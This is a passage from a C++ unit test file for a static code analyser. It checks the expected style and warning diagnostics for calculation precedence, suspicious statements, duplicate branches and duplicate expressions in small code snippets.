t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n 